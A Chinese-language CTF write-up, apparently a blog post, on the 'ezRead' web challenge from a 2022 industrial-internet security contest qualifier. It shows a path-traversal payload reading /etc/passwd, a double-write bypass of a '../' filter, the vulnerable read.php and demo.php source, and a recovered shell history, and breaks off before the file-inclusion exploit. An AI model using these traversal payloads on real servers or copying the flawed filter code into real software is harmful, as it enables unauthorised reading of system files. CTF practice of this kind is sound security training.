title: 2022中国工业互联网安全大赛北京市选拔赛全国线上预选赛.md
date: 2022-09-23 22:19:12
tags:
ezRead
一眼看到上面可能是存在任意文件读应该是base64加密过后的 确实 解密之后就是 ddl.txt
所以我们尝试读取一下 /etc/passwd 把 验证存在 任意文件读取
../../../../../../../../../etc/passwd
**Warning**: file_get_contents(books/etc/passwd): failed to open stream: No such file or directory in **/var/www/ctf/read.php** on line **9**
发现返回这个报错
books/etc/passwd 应该是把 ../过滤掉了
可以双写绕过
验证我们 双写绕过和任意文件读取
那直接读flag把
然后 发现读不到flag。。。
应该是没有/flag文件
然后就没思路了 (还是做的题太少了)一直局限在找flag(出题人是谁!!!!!!!!!!caimi是把)
那读一下 read.php把 不过也没啥用
<?php
error_reporting(2);
$file = base64_decode(isset($_GET['Book']) ? $_GET['Book'] : "");
if ($file == '') {
header("location:index.html");
}
$file = str_replace(array("../", "..\""), "", $file);
$file = 'books/' . $file;
$final = file_get_contents($file);
echo $final;
然后尝试一下读取历史命令吧’
cd /
ls -la
cd #
ps -elf
netstat -pantu
echo "127.0.0.1 V72J1dn23wjFrq" >> /etc/hosts
cat /etc/hosts
curl -v -k http://localhost/index.html
curl -v -k http://localhost/read.php
ls -la
cd #
cd /var/www
cd ctf
ls -la
cd V72J1dn23wjFrq
cat *
ls -la
ping -c 4 127.0.0.1
ps -elf
netstat -pantu
service apache2 status
service apache2 restart
service apache2 status
ps -elf
netstat -pantu
ls -la
clear
exit
然后看到进入了 V72J1dn23wjFrq目录 然后 进这个目录看看把
有个demo.php 可以使用任意文件读取 读取 demo.php
<?php
error_reporting(0);
$file= $_GET['ops'];
$file = str_replace(array("../", "..\""), "", $file);
include_once($file);
?>
可以使用 zedd的 文件包含 rce
`
...题目环境 没了
这里就不打了
标签:md,..,la,cd,etc,选拔赛,2022,php,ls From: https://www.cnblogs.com/kkkkl/p/16748374.html